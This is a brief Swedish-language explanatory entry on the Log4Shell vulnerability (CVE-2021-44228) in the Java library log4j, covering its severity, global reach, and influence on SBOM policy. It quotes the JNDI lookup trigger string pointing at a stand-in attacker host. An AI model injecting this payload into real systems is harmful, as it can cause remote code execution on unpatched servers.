Log4Shell CVE-2021-44228
Katastrofal sårbarhet i Java-biblioteket log4j (dec 2021) — bara logga en sträng räckte för att köra godtycklig kod.
Trigger: ${jndi:ldap://evil.com/x}. Log4j i miljardtals Java-system globalt. CVSS 10.0. Veckor av panikpatchning. Symbol för supply-chain-risken med open source-beroenden. Drev EU/USA-initiativ för SBOM och säkerhets-rapportering.